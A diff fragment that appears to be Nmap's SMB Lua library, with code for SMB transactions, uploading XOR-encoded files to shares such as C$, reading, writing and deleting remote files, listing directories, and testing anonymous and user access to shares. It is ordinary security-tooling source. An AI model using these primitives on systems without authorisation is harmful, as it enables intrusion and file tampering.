+ trans2_data_pos, -- Data offset
+ 0x01, -- Setup count
+ 0x00, -- Reserved
+ sub_command -- Sub command
+ )
+
+ local data = pad1 .. trans2_param .. pad2 .. trans2_data
+
+ -- Send the transaction request
+ stdnse.debug2("SMB: Sending SMB_COM_TRANSACTION2")
+ return smb_send(smb, header, parameters, data, overrides)
+end
+
+local function receive_transaction2(smb)
+
+ -- Read the result
+ local status, header, parameters, data = smb_read(smb)
+ if(status ~= true) then
+ return false, header
+ end
+
+ local header_format = "<c4 B I4 B I2 I2 i8 I2 I2 I2 I2 I2"
+ if #header < string.packsize(header_format) then
+ return false, "SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [8]"
+ end
+
+ -- Check if it worked
+ local protocol_version, command, status, flags, flags2, pid_high, signature, unused, tid, pid, uid, mid, pos = string.unpack(header_format, header)
+
+ if(status ~= 0) then
+ if(status_names[status] == nil) then
+ return false, string.format("Unknown SMB error: 0x%08x\n", status)
+ else
+ return false, status_names[status]
+ end
+ end
+
+ -- Parse the parameters
+ local parameters_format = "<I2 I2 I2 I2 I2 I2 I2 I2 I2 BB"
+ if #parameters < string.packsize(parameters_format) then
+ return false, "SMB: ERROR: Server returned less data than needed"
+ end
+ local total_word_count, total_data_count, reserved1, parameter_count, parameter_offset, parameter_displacement, data_count, data_offset, data_displacement, setup_count, reserved2, pos = string.unpack(parameters_format, parameters)
+
+ -- Convert the parameter/data offsets into something more useful (the offset into the data section)
+ -- - 0x20 for the header, - 0x01 for the length.
+ parameter_offset = parameter_offset - 0x20 - 0x01 - #parameters - 0x02;
+ -- - 0x20 for the header, - 0x01 for parameter length, the parameter length, and - 0x02 for the data length.
+ data_offset = data_offset - 0x20 - 0x01 - #parameters - 0x02;
+
+ -- I'm not sure I entirely understand why the '+1' is here, but I think it has to do with the string starting at '1' and not '0'.
+ local function_parameters = string.sub(data, parameter_offset + 1, parameter_offset + parameter_count)
+ local function_data = string.sub(data, data_offset + 1, data_offset + data_count)
+
+ local response = {}
+ response['parameters'] = function_parameters
+ response['data'] = function_data
+
+ return true, response
+end
+
+
+
+---This is the core of making MSRPC calls. It sends out a MSRPC packet with the
+-- given parameters and data.
+--
+-- Don't confuse these parameters and data with SMB's concepts of parameters
+-- and data -- they are completely different. In fact, these parameters and
+-- data are both sent in the SMB packet's 'data' section.
+--
+-- It is probably best to think of this as another protocol layer. This
+-- function will wrap SMB stuff around a MSRPC call, make the call, then unwrap
+-- the SMB stuff from it before returning.
+--
+--@param smb The SMB object associated with the connection
+--@param function_parameters The parameter data to pass to the function. This
+-- is untested, since none of the transactions I've
+-- done have required parameters.
+--@param function_data The data to send with the packet. This is basically the
+-- next protocol layer
+--@param pipe [optional] The pipe to transact on. Default: "\PIPE\".
+--@param no_setup [optional] If set, the 'setup' is set to 0 and some
+-- parameters are left off. This occurs while using the LANMAN
+-- Remote API. Default: false.
+--@param overrides The overrides table
+--@return (status, result) If status is false, result is an error message.
+-- Otherwise, result is a table containing 'parameters' and 'data',
+-- representing the parameters and data returned by the server.
+function send_transaction_named_pipe(smb, function_parameters, function_data, pipe, no_setup, overrides)
+ overrides = overrides or {}
+ local header, parameters, data
+ local parameter_offset = 0
+ local parameter_size = 0
+ local data_offset = 0
+ local data_size = 0
+ local total_word_count, total_data_count, reserved1, parameter_count, parameter_displacement, data_count, data_displacement, setup_count, reserved2
+ local response = {}
+ local status
+
+ if(pipe == nil) then
+ pipe = "\\PIPE\\"
+ end
+
+ -- Header is 0x20 bytes long (not counting NetBIOS header).
+ header = smb_encode_header(smb, command_codes['SMB_COM_TRANSACTION'], overrides) -- 0x25 = SMB_COM_TRANSACTION
+
+ -- 0x20 for SMB header, 0x01 for parameters header, 0x20 for parameters length, 0x02 for data header, 0x07 for "\PIPE\"
+ if(function_parameters) then
+ parameter_offset = 0x20 + 0x01 + 0x20 + 0x02 + (#pipe + 1)
+ parameter_size = #function_parameters
+ end
+
+ if(function_data) then
+ data_offset = 0x20 + 0x01 + 0x20 + 0x02 + (#pipe + 1) + parameter_size
+ data_size = #function_data
+ end
+
+ local setup
+ if(no_setup) then
+ setup = string.pack("<BB",
+ 0x00, -- Number of 'setup' words (none)
+ 0x00 -- Reserved.
+ )
+ else
+ setup = string.pack("<BBI2 I2 ",
+ 0x02, -- Number of 'setup' words
+ 0x00, -- Reserved.
+ 0x0026, -- Function to call.
+ smb['fid'] -- Handle to open file
+ )
+ end
+
+ -- Parameters are 0x20 bytes long.
+ parameters = string.pack("<I2 I2 I2 I2 BBI2 I4 I2 I2 I2 I2 I2",
+ parameter_size, -- Total parameter count.
+ data_size, -- Total data count.
+ 0x0008, -- Max parameter count.
+ 0x3984, -- Max data count.
+ 0x00, -- Max setup count.
+ 0x00, -- Reserved.
+ 0x0000, -- Flags (0x0000 = 2-way transaction, don't disconnect TIDs).
+ 0x00001388, -- Timeout (0x00000000 = return immediately).
+ 0x0000, -- Reserved.
+ parameter_size, -- Parameter bytes.
+ parameter_offset, -- Parameter offset.
+ data_size, -- Data bytes.
+ data_offset -- Data offset.
+ ) .. setup
+
+ data = string.pack("<zI4", pipe, 0) -- Padding
+ .. (function_parameters or '')
+ .. (function_data or '')
+
+ -- Send the transaction request
+ stdnse.debug2("SMB: Sending SMB_COM_TRANSACTION")
+ local result, err = smb_send(smb, header, parameters, data, overrides)
+ if(result == false) then
+ return false, err
+ end
+
+ -- Read the result
+ status, header, parameters, data = smb_read(smb)
+ if(status ~= true) then
+ return false, header
+ end
+
+ local header_format = "<c4 B I4 B I2 I2 i8 I2 I2 I2 I2 I2"
+ if #header < string.packsize(header_format) then
+ return false, "SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [8]"
+ end
+
+ -- Check if it worked
+ local protocol_version, command, status, flags, flags2, pid_high, signature, unused, tid, pid, uid, mid, pos = string.unpack(header_format, header)
+
+ if(status ~= 0) then
+ if(status_names[status] == nil) then
+ return false, string.format("Unknown SMB error: 0x%08x\n", status)
+ else
+ return false, status_names[status]
+ end
+ end
+
+ -- Parse the parameters
+ local parameters_format = "<I2 I2 I2 I2 I2 I2 I2 I2 I2 BB"
+ if #parameters < string.packsize(parameters_format) then
+ return false, "SMB: ERROR: Server returned less data than needed"
+ end
+ total_word_count, total_data_count, reserved1, parameter_count, parameter_offset, parameter_displacement, data_count, data_offset, data_displacement, setup_count, reserved2, pos = string.unpack(parameters_format, parameters)
+
+ -- Convert the parameter/data offsets into something more useful (the offset into the data section)
+ -- - 0x20 for the header, - 0x01 for the length.
+ parameter_offset = parameter_offset - 0x20 - 0x01 - #parameters - 0x02;
+ -- - 0x20 for the header, - 0x01 for parameter length, the parameter length, and - 0x02 for the data length.
+ data_offset = data_offset - 0x20 - 0x01 - #parameters - 0x02;
+
+ -- I'm not sure I entirely understand why the '+1' is here, but I think it has to do with the string starting at '1' and not '0'.
+ function_parameters = string.sub(data, parameter_offset + 1, parameter_offset + parameter_count)
+ function_data = string.sub(data, data_offset + 1, data_offset + data_count)
+
+ response['parameters'] = function_parameters
+ response['data'] = function_data
+
+ return true, response
+end
+
+function send_transaction_waitnamedpipe(smb, priority, pipe, overrides)
+ overrides = overrides or {}
+ local header, parameters, data
+ local parameter_offset, data_offset
+ local total_word_count, total_data_count, reserved1, parameter_count, parameter_offset, parameter_displacement, data_count, data_offset, data_displacement, setup_count, reserved2
+ local response = {}
+ local padding = ""
+ local status
+
+ -- Header is 0x20 bytes long (not counting NetBIOS header).
+ header = smb_encode_header(smb, command_codes['SMB_COM_TRANSACTION'], overrides) -- 0x25 = SMB_COM_TRANSACTION
+
+ -- Parameters are 0x20 bytes long.
+ parameters = string.pack("<I2 I2 I2 I2 BBI2 I4 I2 I2 I2 I2 I2 BBI2 I2 ",
+ 0, -- Total parameter count.
+ 0, -- Total data count.
+ 0x000, -- Max parameter count.
+ 0x400, -- Max data count.
+ 0x00, -- Max setup count.
+ 0x00, -- Reserved.
+ 0x0000, -- Flags (0x0000 = 2-way transaction, don't disconnect TIDs).
+ 30, -- Timeout (0x00000000 = return immediately).
+ 0x0000, -- Reserved.
+ 0, -- Parameter bytes.
+ 0, -- Parameter offset.
+ 0, -- Data bytes.
+ 0, -- Data offset.
+ 0x02, -- Number of 'setup' words (only ever seen '2').
+ 0x00, -- Reserved.
+ 0x0053, -- Function to call.
+ priority -- Handle to open file
+ )
+
+ data = string.pack("z", pipe) .. string.rep('\0', (4 - ((#pipe+1) % 4)) % 4)
+
+ -- Send the transaction request
+ stdnse.debug2("SMB: Sending SMB_COM_TRANSACTION (WaitNamedPipe)")
+ local result, err = smb_send(smb, header, parameters, data, overrides)
+ if(result == false) then
+ return false, err
+ end
+
+ -- Read the result
+ status, header, parameters, data = smb_read(smb)
+ if(status ~= true) then
+ return false, header
+ end
+
+ local header_format = "<c4 B I4 B I2 I2 i8 I2 I2 I2 I2 I2"
+ if #header < string.packsize(header_format) then
+ return false, "SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [8]"
+ end
+
+ -- Parse out the header
+ local protocol_version, command, status, flags, flags2, pid_high, signature, unused, tid, pid, uid, mid, pos = string.unpack(header_format, header)
+
+ if(status ~= 0) then
+ if(status_names[status] == nil) then
+ return false, string.format("Unknown SMB error: 0x%08x\n", status)
+ else
+ return false, status_names[status]
+ end
+ end
+
+ -- Parse the parameters
+ local parameters_format = "<I2 I2 I2 I2 I2 I2 I2 I2 I2 BB"
+ if #parameters < string.packsize(parameters_format) then
+ return false, "SMB: ERROR: Server returned less data than needed"
+ end
+ total_word_count, total_data_count, reserved1, parameter_count, parameter_offset, parameter_displacement, data_count, data_offset, data_displacement, setup_count, reserved2, pos = string.unpack(parameters_format, parameters)
+
+ return true, response
+end
+
+---Upload a file from the local machine to the remote machine, on the given share.
+--
+--@param host The host object
+--@param localfile The file on the local machine, relative to the nmap path
+--@param share The share to upload it to (eg, C$).
+--@param remotefile The remote file on the machine. It is relative to the share's root.
+--@param overrides A table of override values that's passed to the smb functions.
+--@param encoded Set to 'true' if the file is encoded (xor'ed with 0xFF), It will be decoded before upload. Default: false
+--@return (status, err) If status is false, err is an error message. Otherwise, err is undefined.
+function file_upload(host, localfile, share, remotefile, overrides, encoded)
+ local status, err, smbstate
+ local chunk = 1024
+
+ -- Attempt to open a handle to the file without adding a path to it
+ local handle = io.open(localfile, "r")
+
+ -- If the open failed, try to search for the file
+ if(not(handle)) then
+ stdnse.debug1("Couldn't open %s directly, searching Nmap's paths...", localfile)
+ local filename = nmap.fetchfile(localfile)
+
+ -- Check if it was found
+ if(filename == nil) then
+ return false, string.format("Couldn't find the file to upload (%s)", localfile)
+ end
+ handle = io.open(filename, "r")
+ end
+
+ -- Create the SMB session
+ status, smbstate = start_ex(host, true, true, share, remotefile, nil, overrides)
+ if(status == false) then
+ return false, smbstate
+ end
+
+
+ local i = 0
+ local data = handle:read(chunk)
+ local new_data = {}
+ while(data ~= nil and #data > 0) do
+
+ if(encoded) then
+ for j = 1, #data, 1 do
+ new_data[j] = string.char(0xFF ~ string.byte(data, j))
+ end
+ data = table.concat(new_data, "", 1, #data)
+ end
+
+ status, err = write_file(smbstate, data, i)
+ if(status == false) then
+ stop(smbstate)
+ return false, err
+ end
+
+ data = handle:read(chunk)
+ i = i + chunk
+ end
+
+ handle:close()
+ status, err = close_file(smbstate)
+ if(status == false) then
+ stop(smbstate)
+ return false, err
+ end
+
+ -- Stop the session
+ stop(smbstate)
+
+ return true
+end
+
+---Write given data to the remote machine on the given share. This is similar to <code>file_upload</code>, except the
+-- data is given as a string, not a file.
+--
+--@param host The host object
+--@param data The string containing the data to be written
+--@param share The share to upload it to (eg, C$).
+--@param remotefile The remote file on the machine. It is relative to the share's root.
+--@param use_anonymous [optional] If set to 'true', test is done by the anonymous user rather than the current user.
+--@return (status, err) If status is false, err is an error message. Otherwise, err is undefined.
+function file_write(host, data, share, remotefile, use_anonymous)
+ local status, err, smbstate
+ local chunk = 1024
+ local overrides = nil
+
+ -- If anonymous is being used, create some overrides
+ if(use_anonymous) then
+ overrides = get_overrides_anonymous()
+ end
+
+ -- Create the SMB session
+ status, smbstate = start_ex(host, true, true, share, remotefile, nil, overrides)
+
+ if(status == false) then
+ return false, smbstate
+ end
+
+ local i = 1
+ while(i <= #data) do
+ local chunkdata = string.sub(data, i, i + chunk - 1)
+ status, err = write_file(smbstate, chunkdata, i - 1)
+ if(status == false) then
+ stop(smbstate)
+ return false, err
+ end
+
+ i = i + chunk
+ end
+
+ status, err = close_file(smbstate)
+ if(status == false) then
+ stop(smbstate)
+ return false, err
+ end
+
+ -- Stop the session
+ stop(smbstate)
+
+ return true
+end
+
+---Write given data to the remote machine on the given share. This is similar to <code>file_upload</code>, except the
+-- data is given as a string, not a file.
+--
+--@param host The host object
+--@param share The share to read it from (eg, C$).
+--@param remotefile The remote file on the machine. It is relative to the share's root.
+--@param use_anonymous [optional] If set to 'true', test is done by the anonymous user rather than the current user.
+--@param overrides [optional] Override various fields in the SMB packets.
+--@return (status, err) If status is false, err is an error message. Otherwise, err is undefined.
+function file_read(host, share, remotefile, use_anonymous, overrides)
+ local status, err, smbstate
+ local result
+ local chunk = 1024
+ local read = ""
+
+ -- Make sure we got overrides
+ overrides = overrides or {}
+
+ -- If anonymous is being used, create some overrides
+ if(use_anonymous) then
+ overrides = get_overrides_anonymous(overrides)
+ end
+
+ -- Create the SMB session
+ status, smbstate = start_ex(host, true, true, share, remotefile, nil, overrides)
+
+ if(status == false) then
+ return false, smbstate
+ end
+
+ local i = 1
+ while true do
+ status, result = read_file(smbstate, i - 1, chunk)
+ if(status == false) then
+ stop(smbstate)
+ return false, result
+ end
+
+ if(result['data_length'] == 0) then
+ break
+ end
+
+ read = read .. result['data']
+ i = i + chunk
+ end
+
+ status, err = close_file(smbstate)
+ if(status == false) then
+ stop(smbstate)
+ return false, err
+ end
+
+ -- Stop the session
+ stop(smbstate)
+ return true, read
+end
+
+---Check how many files, in a given list, exist on the given share.
+--
+--@param host The host object
+--@param share The share to read it from (eg, C$).
+--@param files A list of files to look for; it is relative to the share's root.
+--@param overrides [optional] Override various fields in the SMB packets.
+--@return status: A true/false value indicating success
+--@return count: The number of files that existed, or an error message if status is 'false'
+--@return files: A list of the files that existed.
+function files_exist(host, share, files, overrides)
+ local status, smbstate, result, err
+
+ -- Make sure we got overrides
+ overrides = overrides or {}
+
+ -- We don't wan to be creating the files
+ overrides['file_create_disposition'] = 1
+
+ -- Create the SMB session
+ status, smbstate = start_ex(host, true, true, share, nil, nil, overrides)
+
+ if(status == false) then
+ return false, smbstate
+ end
+
+ local exist = 0
+ local list = {}
+
+ for _, file in ipairs(files) do
+ -- Try and open the file
+ status, result = create_file(smbstate, file, overrides)
+
+ -- If there was an error other than 'file already exists', return an error
+ if(not(status) and result ~= 'NT_STATUS_OBJECT_NAME_NOT_FOUND') then
+ return false, result
+ end
+
+ -- If the file existed, count it and close it
+ if(status) then
+ exist = exist + 1
+ table.insert(list, file)
+ status, err = close_file(smbstate)
+ if(status == false) then
+ stop(smbstate)
+ return false, err
+ end
+ end
+ end
+
+ -- Stop the session
+ stop(smbstate)
+ return true, exist, list
+end
+
+---Delete a file from the remote machine
+--
+--@param host The host object
+--@param share The share to upload it to (eg, C$).
+--@param remotefile The remote file on the machine. It is relative to the share's root. It can be a string, or an array.
+--@return (status, err) If status is false, err is an error message. Otherwise, err is undefined.
+function file_delete(host, share, remotefile)
+ local status, smbstate, err
+
+ -- Create the SMB session
+ status, smbstate = start_ex(host, true, true, share)
+ if(status == false) then
+ return false, smbstate
+ end
+
+ -- Make sure the remotefile is always a table, to save on duplicate code
+ if(type(remotefile) ~= "table") then
+ remotefile = {remotefile}
+ end
+
+
+ for _, file in ipairs(remotefile) do
+ status, err = delete_file(smbstate, file)
+ if(status == false) then
+ stdnse.debug1("SMB: Couldn't delete %s\\%s: %s", share, file, err)
+ if(err ~= 'NT_STATUS_OBJECT_NAME_NOT_FOUND') then
+ stop(smbstate)
+ return false, err
+ end
+ end
+ end
+
+ -- Stop the session
+ stop(smbstate)
+
+ return true
+end
+
+-- Sends TRANS2_FIND_FIRST2 / TRANS2_FIND_NEXT2 request, takes care of
+-- short/fragmented responses, and returns a list of file entries
+--
+-- @param smbstate the SMB object associated with the connection
+-- @param srch_id of search to resume (for TRANS2_FIND_NEXT2) or nil
+-- @param trans2_params string representing Trans2_Parameters
+-- @return status of the request
+-- @return srch_id of search to resume later, or nil if the search completed
+-- or the error message if status is false
+-- @return list of file entries
+local function send_and_receive_find_request(smbstate, srch_id, trans2_params)
+ local TRANS2_FIND_FIRST2 = 1
+ local TRANS2_FIND_NEXT2 = 2
+ local sub_command = srch_id and TRANS2_FIND_NEXT2 or TRANS2_FIND_FIRST2
+ local status = send_transaction2(smbstate, sub_command, trans2_params, "")
+ if not status then
+ return false, "Failed to send data to server: send_transaction2"
+ end
+
+ local resp
+ status, resp = receive_transaction2(smbstate)
+ if not status or #resp.parameters < 2 then
+ return false, "Failed to receive data from server: receive_transaction2"
+ end
+
+ local param_pos = 1
+ if sub_command == TRANS2_FIND_FIRST2 then
+ srch_id, param_pos = string.unpack("<I2", resp.parameters, param_pos)
+ end
+
+ -- parse Trans2_Parameters
+ -- https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cifs/4e65d94e-09af-4511-a77a-b73adf1c52d6
+ local param_fmt = "<I2 I2 xx I2"
+ if #resp.parameters < param_pos - 1 + param_fmt:packsize() then
+ return false, "Truncated response from server: receive_transaction2"
+ end
+ local srch_cnt, srch_end, last_name_pos = param_fmt:unpack(resp.parameters, param_pos)
+
+ -- format of SMB_FIND_FILE_BOTH_DIRECTORY_INFO, without trailing FileName
+ -- https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cifs/2aa849f4-1bc0-42bf-9c8f-d09f11fccc4c
+ local entry_fmt = "<I4 xxxx I8 I8 I8 I8 I8 I8 I4 I4 xxxx B x c24"
+ local entry_len = entry_fmt:packsize()
+
+ -- check if we need more packets to reassemble this transaction
+ while #resp.data < last_name_pos + entry_len do
+ local status, tmp = receive_transaction2(smbstate)
+ if not status then
+ return false, "Truncated response from receive_transaction2"
+ end
+ resp.data = resp.data .. tmp.data
+ end
+
+ -- parse response, based on SMB_FIND_FILE_BOTH_DIRECTORY_INFO
+ local entries = {}
+ local data_pos = 1
+ while srch_cnt > 0 do
+ if #resp.data - data_pos + 1 < entry_len then
+ return false, "Truncated response from receive_transaction2"
+ end
+ local entry = {}
+ local next_pos, fn_pos, fn_len, sfn_len
+ next_pos, entry.created, entry.accessed, entry.write, entry.change,
+ entry.eof, entry.alloc_size, entry.attrs, fn_len, sfn_len,
+ entry.s_fname, fn_pos = entry_fmt:unpack(resp.data, data_pos)
+
+ local time = entry.created
+ time = (time // 10000000) - 11644473600
+ entry.created = datetime.format_timestamp(time)
+
+ if sfn_len > 0 then
+ entry.s_fname = entry.s_fname:sub(1, sfn_len)
+ else
+ entry.s_fname = nil
+ end
+
+ if #resp.data - fn_pos + 1 < fn_len then
+ return false, "Truncated response from receive_transaction2"
+ end
+ entry.fname = string.unpack("z", resp.data, fn_pos)
+ table.insert(entries, entry)
+ data_pos = data_pos + next_pos
+ srch_cnt = srch_cnt - 1
+ end
+ return true, (srch_end == 0 and srch_id or nil), entries
+end
+
+---
+-- List files based on a pattern within a given share and directory
+--
+-- @param smbstate the SMB object associated with the connection
+-- @param fname filename to search for, relative to share path
+-- @param options table containing none or more of the following
+-- <code>maxfiles</code> how many files to request in a single Trans2 op
+-- <code>srch_attrs</code> table containing one or more of the following boolean attributes:
+-- <code>ro</code> - find read only files
+-- <code>hidden</code> - find hidden files
+-- <code>system</code> - find system files
+-- <code>volid</code> - include volume ids in result
+-- <code>dir</code> - find directories
+-- <code>archive</code> - find archived files
+-- @return iterator function retrieving the next result
+function find_files (smbstate, fname, options)
+ options = options or {}
+
+ -- convert options.srch_attrs to a bitmap
+ local xlat_srch_attrs = {ro = "SMB_FILE_ATTRIBUTE_READONLY",
+ hidden = "SMB_FILE_ATTRIBUTE_HIDDEN",
+ system = "SMB_FILE_ATTRIBUTE_SYSTEM",
+ volid = "SMB_FILE_ATTRIBUTE_VOLUME",
+ dir = "SMB_FILE_ATTRIBUTE_DIRECTORY",
+ archive = "SMB_FILE_ATTRIBUTE_ARCHIVE"}
+ local srch_attrs_mask = 0
+ local srch_attrs = options.srch_attrs or {ro=true, hidden=false, system=true, dir=true}
+ for k, v in pairs(srch_attrs) do
+ if v then
+ srch_attrs_mask = srch_attrs_mask | file_attributes[xlat_srch_attrs[k]]
+ end
+ end
+
+ fname = fname or '\\*'
+ if fname:sub(1,1) ~= '\\' then
+ fname = '\\' .. fname
+ end
+
+ local srch_flags = 0x0002 | 0x0004 -- SMB_FIND_CLOSE_AT_EOS, SMB_FIND_RETURN_RESUME_KEYS
+ local srch_info_lvl = 0x0104 -- SMB_FIND_FILE_BOTH_DIRECTORY_INFO
+ local max_srch_cnt = tonumber(options.maxfiles)
+ if max_srch_cnt and max_srch_cnt > 0 then
+ max_srch_cnt = math.floor(4 + math.min(1020, max_srch_cnt))
+ else
+ max_srch_cnt = 1024
+ end
+
+ -- state variables for next_entry() iterator
+ local first_run = true
+ local srch_id = nil
+ local last_fname = nil
+ local entries = {}
+ local entry_idx = 1
+
+ local function next_entry()
+ if entry_idx > #entries then -- get more file entries from the target
+ local trans2_params
+ if first_run then -- TRANS2_FIND_FIRST2
+ first_run = false
+ -- https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cifs/b2b2a730-9499-4f05-884e-d5bb7b9caf90
+ trans2_params = string.pack("<I2 I2 I2 I2 I4 z",
+ srch_attrs_mask, -- what types of files to return
+ max_srch_cnt, -- maximum number of returned entries
+ srch_flags, -- Flags
+ srch_info_lvl, -- level of returned file details
+ 0, -- SearchStorageType
+ fname) -- file name to search for
+ -- FIXME filename ASCII vs UNICODE
+ else -- TRANS2_FIND_NEXT2
+ if not srch_id then -- the search is over
+ return
+ end
+ -- https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cifs/80dc980e-fe03-455c-ada6-7c5dd6c551ba
+ trans2_params = string.pack("<I2 I2 I2 I4 I2 z",
+ srch_id, -- which search to resume
+ max_srch_cnt, -- maximum number of returned entries
+ srch_info_lvl, -- level of returned file details
+ 0, -- ResumeKey
+ srch_flags, -- Flags
+ last_fname) -- last file name previously returned
+ -- FIXME wtf is ResumeKey?
+ end
+ local status
+ status, srch_id, entries = send_and_receive_find_request(smbstate, srch_id, trans2_params)
+ if not status then
+ stdnse.debug1("Routine find_files failed with error: %s", srch_id)
+ srch_id = nil
+ entries = {}
+ end
+ entry_idx = 1
+ if #entries == 0 then
+ return
+ end
+ end
+ local entry = entries[entry_idx]
+ last_fname = entry.fname
+ entry_idx = entry_idx + 1
+ return entry
+ end
+ return next_entry
+end
+
+---Determine whether or not the anonymous user has write access on the share. This is done by creating then
+-- deleting a file.
+--
+--@param host The host object
+--@param share The share to test
+--@return (status, result) If status is false, result is an error message. The error message 'NT_STATUS_OBJECT_NAME_NOT_FOUND'
+-- should be handled gracefully; it indicates that the share isn't a fileshare. Otherwise, result is a boolean value:
+-- true if the file was successfully written, false if it was not.
+function share_anonymous_can_write(host, share)
+ local filename, status, err
+
+ -- First, choose a filename. This should be random.
+ filename = "nmap-test-file"
+
+ -- Next, attempt to write to that file
+ status, err = file_write(host, string.rep("ABCDEFGHIJKLMNOPQRSTUVWXYZ", 10), share, filename, true)
+ if(status == false) then
+ if(err == "NT_STATUS_OBJECT_NAME_NOT_FOUND") then
+ return false, err
+ end
+
+ if(err == "NT_STATUS_ACCESS_DENIED" or err == "NT_STATUS_INVALID_PARAMETER") then
+ return true, false
+ end
+
+ return false, "Error writing test file to disk as anonymous: " .. err
+ end
+
+ -- Now the important part: delete it
+ status, err = file_delete(host, share, filename)
+ if(status == false) then
+ return false, "Error deleting test file as anonymous: " .. err
+ end
+
+ return true, true
+end
+
+
+---Determine whether or not the current user has read or read/write access on the share. This is done by creating then
+-- deleting a file.
+--
+--@param host The host object
+--@param share The share to test
+--@return (status, result) If status is false, result is an error message. The error message 'NT_STATUS_OBJECT_NAME_NOT_FOUND'
+-- should be handled gracefully; it indicates that the share isn't a fileshare. Otherwise, result is a boolean value:
+-- true if the file was successfully written, false if it was not.
+function share_user_can_write(host, share)
+
+ local filename, status, err
+
+ -- First, choose a filename. This should be random.
+ filename = "nmap-test-file"
+
+ -- Next, attempt to write to that file
+ status, err = file_write(host, string.rep("ABCDEFGHIJKLMNOPQRSTUVWXYZ", 10), share, filename)
+ if(status == false) then
+ if(err == "NT_STATUS_OBJECT_NAME_NOT_FOUND") then
+ return false, err
+ end
+
+ if(err == "NT_STATUS_ACCESS_DENIED" or err == "NT_STATUS_INVALID_PARAMETER") then
+ return true, false
+ end
+
+ return false, "Error writing test file to disk as user: " .. err
+ end
+
+ -- Now the important part: delete it
+ status, err = file_delete(host, share, filename)
+ if(status == false) then
+ return false, "Error deleting test file as user: " .. err
+ end
+
+ return true, true
+end
+
+---Check whether or not a share is accessible by the anonymous user. Assumes that <code>share_host_returns_proper_error</code>
+-- has been called and returns <code>true</code>.
+--
+--@param host The host object
+--@param share The share to test
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a boolean value:
+-- true if anonymous access is permitted, false otherwise.
+function share_anonymous_can_read(host, share)
+ local status, smbstate, err
+ local overrides = get_overrides_anonymous()
+
+ -- Begin the SMB session
+ status, smbstate = start(host)
+ if(status == false) then
+ return false, smbstate
+ end
+
+ -- Negotiate the protocol
+ status, err = negotiate_protocol(smbstate, overrides)
+ if(status == false) then
+ stop(smbstate)
+ return false, err
+ end
+
+ -- Start up a null session
+ status, err = start_session(smbstate, overrides)
+
+ if(status == false) then
+ stop(smbstate)
+ return false, err
+ end
+
+ -- Attempt a connection to the share
+ status, err = tree_connect(smbstate, share, overrides)
+ if(status == false) then
+
+ -- Stop the session
+ stop(smbstate)
+
+ -- ACCESS_DENIED is the expected error: it tells us that the connection failed
+ if(err == 0xc0000022 or err == 'NT_STATUS_ACCESS_DENIED') then
+ return true, false
+ else
+ return false, err
+ end
+ end
+
+
+
+ stop(smbstate)
+ return true, true
+end
+
+---Check whether or not a share is accessible by the current user. Assumes that <code>share_host_returns_proper_error</code>
+-- has been called and returns <code>true</code>.
+--
+--@param host The host object
+--@param share The share to test
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a boolean value:
+-- true if anonymous access is permitted, false otherwise.
+function share_user_can_read(host, share)
+ local status, smbstate, err
+ local overrides = {}
+
+ -- Begin the SMB session
+ status, smbstate = start(host)
+ if(status == false) then
+ return false, smbstate
+ end
+
+ -- Negotiate the protocol
+ status, err = negotiate_protocol(smbstate, overrides)
+ if(status == false) then
+ stop(smbstate)
+ return false, err
+ end
+
+ -- Start up a null session
+ status, err = start_session(smbstate, overrides)
+ if(status == false) then
+ stop(smbstate)
+ return false, err
+ end
+
+ -- Attempt a connection to the share
+ status, err = tree_connect(smbstate, share, overrides)
+ if(status == false) then
+
+ -- Stop the session
+ stop(smbstate)
+
+ -- ACCESS_DENIED is the expected error: it tells us that the connection failed
+ if(err == 0xc0000022 or err == 'NT_STATUS_ACCESS_DENIED') then
+ return true, false
+ else
+ return false, err
+ end
+ end
+
+ stop(smbstate)
+ return true, true
+end
+
+---Determine whether or not a host will accept any share name (I've seen this on certain systems; it's
+-- bad, because it means we cannot tell whether or not a share exists).
+--
+--@param host The host object
+--@param use_anonymous [optional] If set to 'true', test is done by the anonymous user rather than the current user.
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a boolean value:
+-- true if the file was successfully written, false if it was not.
+function share_host_returns_proper_error(host, use_anonymous)
+ local status, smbstate, err
+ local share = "nmap-share-test"
+ local overrides
+
+ if ( use_anonymous ) then
+ overrides = get_overrides_anonymous()
+ end
+
+ -- Begin the SMB session
+ status, smbstate = start(host)
+ if(status == false) then
+ return false, smbstate
+ end
+
+ -- Negotiate the protocol
+ status, err = negotiate_protocol(smbstate, overrides)
+ if(status == false) then
+ stop(smbstate)
+ return false, err
+ end
+
+ -- Start up a null session
+ status, err = start_session(smbstate, overrides)
+ if(status == false) then
+ stop(smbstate)
+ return false, err
+ end
+
+ -- Connect to the share
+ stdnse.debug1("SMB: Trying a random share to see if server responds properly: %s", share)
+ status, err = tree_connect(smbstate, share, overrides)
+
+ if(status == false) then
+ -- If the error is NT_STATUS_ACCESS_DENIED (0xc0000022), that's bad -- we don't want non-existent shares
+ -- showing up as 'access denied'. Any other error is ok.
+ if(err == 0xc0000022 or err == 'NT_STATUS_ACCESS_DENIED') then
+ stdnse.debug1("SMB: Server doesn't return proper value for non-existent shares (returns ACCESS_DENIED)")
+ stop(smbstate)
+ return true, false
+ end
+ else
+ -- If we were actually able to connect to this share, then there's probably a serious issue
+ stdnse.debug1("SMB: Server doesn't return proper value for non-existent shares (accepts the connection)")
+ stop(smbstate)
+ return true, false
+ end
+
+ stop(smbstate)
+ return true, true
+end
+
+---Get all the details we can about the share. These details are stored in a table and returned.
+--
+--@param host The host object.
+--@param share An array of shares to check.
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a boolean value:
+-- true if the file was successfully written, false if it was not.
+function share_get_details(host, share)
+ local msrpc = require "msrpc" -- avoid require cycle
+ local smbstate, status, result
+ local i
+ local details = {}
+
+ --Transform name to FQPN form
+ status, share = get_fqpn(host, share)
+ if not status then
+ stdnse.debug1("SMB:Couldn't obtain FQPN share name. Trying with '%s'", share)
+ end
+
+ -- Save the name
+ details['name'] = share
+
+ -- Check if the current user can read the share
+ stdnse.debug1("SMB: Checking if share %s can be read by the current user", share)
+ status, result = share_user_can_read(host, share)
+ if(status == false) then
+ return false, result
+ end
